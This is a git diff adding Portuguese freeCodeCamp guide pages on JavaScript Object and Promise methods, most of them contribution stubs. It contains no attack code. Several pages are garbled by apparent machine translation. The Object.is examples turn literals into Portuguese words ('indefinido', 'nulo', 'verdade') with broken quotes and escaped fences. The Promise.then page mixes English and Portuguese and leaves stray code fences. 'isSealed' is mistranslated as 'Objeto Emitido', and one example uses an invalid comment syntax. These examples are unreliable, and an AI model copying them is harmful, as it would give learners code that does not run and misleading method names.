@@ -0,0 +1,11 @@
+---
+title: Object.prototype.get.prototype.of
+localeTitle: Object.prototype.get.prototype.of
+---
+## Object.prototype.get.prototype.of
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/object/object-getprototypeof/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/object/object-is/index.md b/client/src/guide/portuguese/javascript/standard-objects/object/object-is/index.md
new file mode 100644
index 0000000000..f63c1492ce
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/object/object-is/index.md
@@ -0,0 +1,57 @@
+---
+title: Object Is
+localeTitle: Objeto é
+---
+# Objeto é
+
+## Descrição
+
+O método `object.is()` é usado para determinar se dois valores são o mesmo valor. Este método foi introduzido no ES6.
+
+## Sintaxe
+
+`Object.is(val1, val2)`
+
+### Parâmetros
+
+**val1** - primeiro valor a comparar
+
+**val2** - segundo valor para comparar
+
+## Valor de retorno
+
+Um [booleano que](https://guide.freecodecamp.org/javascript/booleans) indica se os dois argumentos têm o mesmo valor
+
+## Descrição
+
+`Object.is()` compara dois valores para a igualdade, retornando `true` se ambos os valores atenderem a uma das seguintes condições:
+
+*   `undefined`
+*   `null`
+*   Ambos são `true` ou `false`
+*   Sequência do mesmo comprimento e mesmos caracteres
+*   Mesmo objeto
+*   Ambos os números e:
+*   Ambos `+0` ou ambos `-0`
+*   Tanto `NaN`
+*   ou ambos um número que não é zero e não `NaN`
+
+## Exemplos
+
+\`\` \`
+
+Object.is ('string', 'string'); // verdade Object.is (indefinido, indefinido); // verdade Object.is (nulo, nulo); // verdade
+
+Object.is ('string,' palavra '); // false Object.is (true, false); // false Object.is (\[\], \[\]); //falso
+
+var obj = {nome: Jane}; Object.is (obj, obj); // verdade
+
+Object.is (NaN, NaN); // verdade
+
+Object.is (+0, -0); // false Object.is (-0, -0); // verdade
+
+\`\` \`
+
+#### Mais Informações:
+
+[Documento da Web MDN Object.is ()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/is) [Operador estrito de igualdade `===`](https://guide.freecodecamp.org/certificates/comparison-with-the-strict-equality-operator)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/object/object-isextensible/index.md b/client/src/guide/portuguese/javascript/standard-objects/object/object-isextensible/index.md
new file mode 100644
index 0000000000..520c1124b5
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/object/object-isextensible/index.md
@@ -0,0 +1,11 @@
+---
+title: Object isExtensible
+localeTitle: Objeto isExtensible
+---
+## Objeto isExtensible
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/object/object-isextensible/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/object/object-isfrozen/index.md b/client/src/guide/portuguese/javascript/standard-objects/object/object-isfrozen/index.md
new file mode 100644
index 0000000000..9e8c9f4099
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/object/object-isfrozen/index.md
@@ -0,0 +1,39 @@
+---
+title: Object isFrozen
+localeTitle: Objeto isFrozen
+---
+## Objeto isFrozen
+
+Você pode usar **`Object.isFrozen()`** para descobrir se um objeto está congelado ou não. Retorna um valor booleano **`true`** ou **`false`** .
+
+#### **SINTAXE**
+
+```javascript
+Object.isFrozen(obj) 
+```
+
+**Por exemplo:**
+
+```javascript
+var foods = { 
+    grain : "wheat", 
+    dairy  : "milk", 
+    vegetable : "carrot", 
+    fruit  : "grape" 
+ }; 
+ 
+ var frozenFoods = Object.freeze(foods); 
+ 
+ var areMyFoodsFrozen = Object.isFrozen(frozenFoods); 
+ 
+ \\ returns true 
+```
+
+Lembre-se, um objeto congelado **não pode** ter suas propriedades alteradas.  
+  
+Se você tentar usar **`Object.isFrozen()`** em um argumento não objeto, ele retornará `true` .
+
+#### Mais Informações:
+
+[MDN Object.isFrozen ()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/isFrozen)  
+[MDN Object.freeze ()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/freeze)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/object/object-issealed/index.md b/client/src/guide/portuguese/javascript/standard-objects/object/object-issealed/index.md
new file mode 100644
index 0000000000..66e568a943
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/object/object-issealed/index.md
@@ -0,0 +1,11 @@
+---
+title: Object Issealed
+localeTitle: Objeto Emitido
+---
+## Objeto Emitido
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/object/object-issealed/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/object/object-keys/index.md b/client/src/guide/portuguese/javascript/standard-objects/object/object-keys/index.md
new file mode 100644
index 0000000000..d56ed1ba29
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/object/object-keys/index.md
@@ -0,0 +1,65 @@
+---
+title: Object Keys
+localeTitle: Chaves de Objeto
+---
+O método `Object.keys()` retorna uma matriz das próprias propriedades enumeráveis ​​de um determinado objeto, na mesma ordem fornecida por um loop `for...in` (a diferença é que um loop `for-in` enumera propriedades na cadeia de protótipos como bem).
+
+## Sintaxe
+```
+Object.keys(obj) 
+```
+
+### Parâmetros
+
+**obj**
+
+O objeto cujas propriedades próprias enumeráveis ​​devem ser retornadas.
+
+[Ligação MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/keys) | [Link do MSDN](https://msdn.microsoft.com/en-us/LIBRary/ff688127%28v=vs.94%29.aspx)
+
+## Descrição
+
+`Object.keys()` retorna um array cujos elementos são strings correspondentes às propriedades enumeráveis ​​encontradas diretamente no objeto. A ordenação das propriedades é a mesma que a dada pelo looping sobre as propriedades do objeto manualmente.
+
+## Exemplos
+```
+var arr = ['a', 'b', 'c']; 
+ console.log(Object.keys(arr)); // console: ['0', '1', '2'] 
+ 
+ // array like object 
+ var obj = { 0: 'a', 1: 'b', 2: 'c' }; 
+ console.log(Object.keys(obj)); // console: ['0', '1', '2'] 
+ 
+ // array like object with random key ordering 
+ var an_obj = { 100: 'a', 2: 'b', 7: 'c' }; 
+ console.log(Object.keys(an_obj)); // console: ['2', '7', '100'] 
+ 
+ // getFoo is property which isn't enumerable 
+ var my_obj = Object.create({}, { getFoo: { value: function() { return this.foo; } } }); 
+ my_obj.foo = 1; 
+ 
+ console.log(Object.keys(my_obj)); // console: ['foo'] 
+ 
+ // Create a constructor function. 
+ function Pasta(grain, width, shape) { 
+    this.grain = grain; 
+    this.width = width; 
+    this.shape = shape; 
+ 
+    // Define a method. 
+    this.toString = function () { 
+        return (this.grain + ", " + this.width + ", " + this.shape); 
+    } 
+ } 
+ 
+ // Create an object. 
+ var spaghetti = new Pasta("wheat", 0.2, "circle"); 
+ 
+ // Put the enumerable properties and methods of the object in an array. 
+ var arr = Object.keys(spaghetti); 
+ document.write (arr); 
+ 
+ // Output: 
+ // grain,width,shape,toString 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/object/object-preventextentions/index.md b/client/src/guide/portuguese/javascript/standard-objects/object/object-preventextentions/index.md
new file mode 100644
index 0000000000..ddfce97c3f
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/object/object-preventextentions/index.md
@@ -0,0 +1,11 @@
+---
+title: Object preventExtensions
+localeTitle: Objeto impede Extensões
+---
+## Objeto impede Extensões
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/object/object-preventextentions/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/object/object-prototype-definegetter/index.md b/client/src/guide/portuguese/javascript/standard-objects/object/object-prototype-definegetter/index.md
new file mode 100644
index 0000000000..219e698658
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/object/object-prototype-definegetter/index.md
@@ -0,0 +1,11 @@
+---
+title: Object.prototype.__defineGetter__
+localeTitle: Object.prototype .__ defineGetter__
+---
+## Object.prototype. **defineGetter**
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/object/object-prototype-__definegetter__/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/object/object-prototype-definesetter/index.md b/client/src/guide/portuguese/javascript/standard-objects/object/object-prototype-definesetter/index.md
new file mode 100644
index 0000000000..de02f04032
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/object/object-prototype-definesetter/index.md
@@ -0,0 +1,11 @@
+---
+title: Object.prototype.__defineSetter__
+localeTitle: Object.prototype .__ defineSetter__
+---
+## Object.prototype. **defineSetter**
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/object/object-prototype-__definesetter__/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/object/object-prototype-hasownproperty/index.md b/client/src/guide/portuguese/javascript/standard-objects/object/object-prototype-hasownproperty/index.md
new file mode 100644
index 0000000000..a9b9168696
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/object/object-prototype-hasownproperty/index.md
@@ -0,0 +1,46 @@
+---
+title: Object.prototype.hasOwnProperty
+localeTitle: Object.prototype.hasOwnProperty
+---
+## Object.prototype.hasOwnProperty
+
+### Sintaxe
+
+`Object.hasOwnProperty(prop)`
+
+### Descrição
+
+O método **hasOwnProperty ()** retorna um [booleano](https://developer.mozilla.org/en-US/docs/Glossary/Boolean) indicando se o objeto possui a propriedade especificada.
+
+Este é um método conveniente para verificar se um objeto possui a propriedade especificada ou não; retornando verdadeiro / falso de acordo.
+
+### Parâmetros
+
+##### prop
+
+Uma [string](https://developer.mozilla.org/en-US/docs/Glossary/String) ou [símbolo](https://developer.mozilla.org/en-US/docs/Glossary/Symbol) para testar.
+
+### Exemplos
+
+usando **hasOwnProperty ()** para testar se uma propriedade existe ou não em um determinado objeto:
+
+```js
+var course = { 
+  name: 'freeCodeCamp', 
+  feature: 'is awesome', 
+ } 
+ 
+ var student = { 
+  name: 'enthusiastic student', 
+ } 
+ 
+ course.hasOwnProperty('name');  // returns true 
+ course.hasOwnProperty('feature');   // returns true 
+ 
+ student.hasOwnProperty('name');  // returns true 
+ student.hasOwnProperty('feature'); // returns false 
+```
+
+#### ligações
+
+[MDN hasOwnProperty](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Global_Objects/Object/hasOwnProperty)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/object/object-prototype-isprototypeof/index.md b/client/src/guide/portuguese/javascript/standard-objects/object/object-prototype-isprototypeof/index.md
new file mode 100644
index 0000000000..209cb99988
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/object/object-prototype-isprototypeof/index.md
@@ -0,0 +1,11 @@
+---
+title: Object.prototype.is.prototype.of
+localeTitle: Object.prototype.is.prototype.of
+---
+## Object.prototype.is.prototype.of
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/object/object-prototype-isprototypeof/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/object/object-prototype-lookupgetter/index.md b/client/src/guide/portuguese/javascript/standard-objects/object/object-prototype-lookupgetter/index.md
new file mode 100644
index 0000000000..c88700a231
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/object/object-prototype-lookupgetter/index.md
@@ -0,0 +1,11 @@
+---
+title: Object.prototype.__lookupGetter__
+localeTitle: Object.prototype .__ lookupGetter__
+---
+## Object.prototype. **lookupGetter**
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/object/object-prototype-__lookupgetter__/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/object/object-prototype-lookupsetter/index.md b/client/src/guide/portuguese/javascript/standard-objects/object/object-prototype-lookupsetter/index.md
new file mode 100644
index 0000000000..386813f888
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/object/object-prototype-lookupsetter/index.md
@@ -0,0 +1,11 @@
+---
+title: Object.prototype.__lookupSetter__
+localeTitle: Object.prototype .__ lookupSetter__
+---
+## Object.prototype. **lookupSetter**
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/object/object-prototype-__lookupsetter__/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/object/object-prototype-propertyisenumerable/index.md b/client/src/guide/portuguese/javascript/standard-objects/object/object-prototype-propertyisenumerable/index.md
new file mode 100644
index 0000000000..efcfa2280b
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/object/object-prototype-propertyisenumerable/index.md
@@ -0,0 +1,11 @@
+---
+title: Object.prototype.propertyIsEnumerable
+localeTitle: Object.prototype.propertyIsEnumerable
+---
+## Object.prototype.propertyIsEnumerable
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/object/object-prototype-propertyisenumerable/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/object/object-prototype-setprototypeof/index.md b/client/src/guide/portuguese/javascript/standard-objects/object/object-prototype-setprototypeof/index.md
new file mode 100644
index 0000000000..bf9b0872c8
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/object/object-prototype-setprototypeof/index.md
@@ -0,0 +1,11 @@
+---
+title: Object.prototype.set.prototype.of
+localeTitle: Object.prototype.set.prototype.of
+---
+## Object.prototype.set.prototype.of
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/object/object-prototype-setprototypeof/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/object/object-prototype-tolocalstring/index.md b/client/src/guide/portuguese/javascript/standard-objects/object/object-prototype-tolocalstring/index.md
new file mode 100644
index 0000000000..249f6c7d11
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/object/object-prototype-tolocalstring/index.md
@@ -0,0 +1,11 @@
+---
+title: Object.prototype.tolocalstring
+localeTitle: Object.prototype.tolocalstring
+---
+## Object.prototype.tolocalstring
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/object/object-prototype-tolocalstring/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/object/object-prototype-tosource/index.md b/client/src/guide/portuguese/javascript/standard-objects/object/object-prototype-tosource/index.md
new file mode 100644
index 0000000000..bb45cdf68a
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/object/object-prototype-tosource/index.md
@@ -0,0 +1,11 @@
+---
+title: Object.prototype.toSource
+localeTitle: Object.prototype.toSource
+---
+## Object.prototype.toSource
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/object/object-prototype-tosource/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/object/object-prototype-tostring/index.md b/client/src/guide/portuguese/javascript/standard-objects/object/object-prototype-tostring/index.md
new file mode 100644
index 0000000000..a8b93563f7
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/object/object-prototype-tostring/index.md
@@ -0,0 +1,11 @@
+---
+title: Object.prototype.toString
+localeTitle: Object.prototype.toString
+---
+## Object.prototype.toString
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/object/object-prototype-tostring/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/object/object-prototype-unwatch/index.md b/client/src/guide/portuguese/javascript/standard-objects/object/object-prototype-unwatch/index.md
new file mode 100644
index 0000000000..b1a8f375f4
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/object/object-prototype-unwatch/index.md
@@ -0,0 +1,11 @@
+---
+title: Object.prototype.unwatch
+localeTitle: Object.prototype.unwatch
+---
+## Object.prototype.unwatch
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/object/object-prototype-unwatch/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/object/object-prototype-valueof/index.md b/client/src/guide/portuguese/javascript/standard-objects/object/object-prototype-valueof/index.md
new file mode 100644
index 0000000000..2f6b8b0c65
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/object/object-prototype-valueof/index.md
@@ -0,0 +1,11 @@
+---
+title: Object.prototype.valueOf
+localeTitle: Object.prototype.valueOf
+---
+## Object.prototype.valueOf
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/object/object-prototype-valueof/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/object/object-prototype-watch/index.md b/client/src/guide/portuguese/javascript/standard-objects/object/object-prototype-watch/index.md
new file mode 100644
index 0000000000..5a3d90c41e
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/object/object-prototype-watch/index.md
@@ -0,0 +1,11 @@
+---
+title: Object.prototype.watch
+localeTitle: Object.prototype.watch
+---
+## Object.prototype.watch
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/object/object-prototype-watch/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/object/object-prototype.constructor/index.md b/client/src/guide/portuguese/javascript/standard-objects/object/object-prototype.constructor/index.md
new file mode 100644
index 0000000000..1bd5b98599
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/object/object-prototype.constructor/index.md
@@ -0,0 +1,11 @@
+---
+title: Object Prototype.constructor
+localeTitle: Objeto Prototype.constructor
+---
+## Objeto Prototype.constructor
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/object/object-prototype.constructor/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/object/object-seal/index.md b/client/src/guide/portuguese/javascript/standard-objects/object/object-seal/index.md
new file mode 100644
index 0000000000..b24b1ba0f5
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/object/object-seal/index.md
@@ -0,0 +1,11 @@
+---
+title: Object Seal
+localeTitle: Selo de Objeto
+---
+## Selo de Objeto
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/object/object-seal/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/object/object-setprototypeof/index.md b/client/src/guide/portuguese/javascript/standard-objects/object/object-setprototypeof/index.md
new file mode 100644
index 0000000000..5678b39247
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/object/object-setprototypeof/index.md
@@ -0,0 +1,11 @@
+---
+title: Object.prototype.set.prototype.of
+localeTitle: Object.prototype.set.prototype.of
+---
+## Object.prototype.set.prototype.of
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/object/object-setprototypeof/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/object/object-values/index.md b/client/src/guide/portuguese/javascript/standard-objects/object/object-values/index.md
new file mode 100644
index 0000000000..986c8ff4ba
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/object/object-values/index.md
@@ -0,0 +1,48 @@
+---
+title: Object Values
+localeTitle: Valores de Objeto
+---
+O método `Object.values()` retorna uma matriz dos próprios valores de propriedade enumeráveis ​​de um determinado objeto, na mesma ordem fornecida por um loop for… in (a diferença é que um loop for-in enumera propriedades na cadeia de protótipos, bem ).
+
+## Sintaxe
+```
+Object.values(obj) 
+```
+
+### Parâmetros
+
+**obj**
+
+O objeto cujas propriedades próprias enumeráveis ​​devem ser retornadas.
+
+[Ligação MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/values)
+
+## Descrição
+
+`Object.values()` retorna uma matriz cujos elementos são os valores de propriedade enumeráveis ​​encontrados no objeto. A ordenação das propriedades é a mesma que a dada pelo looping dos valores das propriedades do objeto manualmente. Em outras palavras, um objeto tem chave: pares de valor e esse método retorna todos os _valores_ desse objeto em um objeto semelhante a matriz.
+
+Consulte [Object.keys](https://guide.freecodecamp.org/javascript/standard-objects/object/object-keys/) , que retorna todas as _chaves_ desse objeto em um objeto semelhante a uma matriz.
+
+## Exemplos
+```
+var obj = { foo: 'bar', baz: 42 }; 
+ console.log(Object.values(obj)); // ['bar', 42] 
+ 
+ // array like object 
+ var obj = { 0: 'a', 1: 'b', 2: 'c' }; 
+ console.log(Object.values(obj)); // ['a', 'b', 'c'] 
+ 
+ // array like object with random key ordering 
+ var an_obj = { 100: 'a', 2: 'b', 7: 'c' }; 
+ console.log(Object.values(an_obj)); // ['b', 'c', 'a'] 
+ 
+ // getFoo is property which isn't enumerable 
+ var my_obj = Object.create({}, { getFoo: { value: function() { return this.foo; } } }); 
+ my_obj.foo = 'bar'; 
+ console.log(Object.values(my_obj)); // ['bar'] 
+ 
+ // non-object argument will be coerced to an object 
+ console.log(Object.values('foo')); // ['f', 'o', 'o'] 
+```
+
+\* _não funciona no Internet Explorer_
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/promise/index.md b/client/src/guide/portuguese/javascript/standard-objects/promise/index.md
new file mode 100644
index 0000000000..4d68c96805
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/promise/index.md
@@ -0,0 +1,11 @@
+---
+title: Promise
+localeTitle: Promessa
+---
+## Promessa
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/promise/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/promise/promise-all/index.md b/client/src/guide/portuguese/javascript/standard-objects/promise/promise-all/index.md
new file mode 100644
index 0000000000..9e1044b238
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/promise/promise-all/index.md
@@ -0,0 +1,11 @@
+---
+title: Promise All
+localeTitle: Promise All
+---
+## Promise All
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/promise/promise-all/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/promise/promise-prototype-catch/index.md b/client/src/guide/portuguese/javascript/standard-objects/promise/promise-prototype-catch/index.md
new file mode 100644
index 0000000000..3b9bfabf56
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/promise/promise-prototype-catch/index.md
@@ -0,0 +1,11 @@
+---
+title: Promise.prototype.catch
+localeTitle: Promise.prototype.catch
+---
+## Promise.prototype.catch
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/promise/promise-prototype-catch/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/promise/promise-prototype-then/index.md b/client/src/guide/portuguese/javascript/standard-objects/promise/promise-prototype-then/index.md
new file mode 100644
index 0000000000..2ace8c6e4e
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/promise/promise-prototype-then/index.md
@@ -0,0 +1,53 @@
+---
+title: Promise.prototype.then
+localeTitle: Promise.prototype.then
+---
+## Promise.prototype.then
+
+Uma função `Promise.prototype.then` aceita dois argumentos e retorna um Promise.
+
+O primeiro argumento é uma função exigida que aceita um argumento. O cumprimento bem-sucedido de uma promessa ativará essa função.
+
+O segundo argumento é uma função opcional que também aceita um argumento próprio. Um erro ou rejeição de uma promessa lançará essa função.
+
+```javascript
+   function onResolved (resolvedValue) { 
+     /* 
+     * access to resolved values of promise 
+     */ 
+   } 
+ 
+  function onRejected(rejectedReason) { 
+     /* 
+     * access to rejection reasons of promise 
+     */ 
+   } 
+ 
+  promiseReturningFunction(paramList) 
+     .then( // then function 
+       onResolved, 
+       [onRejected] 
+     ); 
+ ``` 
+```
+
+Promise.prototype.then `allows you to perform many asynchronous activities in sequence. You do this by attaching one` função \`\` \`a outra separada por um operador de ponto.
+
+```javascript
+   promiseReturningFunction(paramList) 
+   .then( // first then function 
+     function(arg1) { 
+       // ... 
+       return someValue; 
+     } 
+   ) 
+   ... 
+   .then( // nth then function 
+     function(arg2) { 
+       // ... 
+       return otherValue; 
+     } 
+   ) 
+```
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/promise/promise-race/index.md b/client/src/guide/portuguese/javascript/standard-objects/promise/promise-race/index.md
new file mode 100644
index 0000000000..5500cf38bd
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/promise/promise-race/index.md
@@ -0,0 +1,11 @@
+---
+title: Promise Race
+localeTitle: Corrida de Promessa
+---
+## Corrida de Promessa
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/promise/promise-race/index.md) .
+
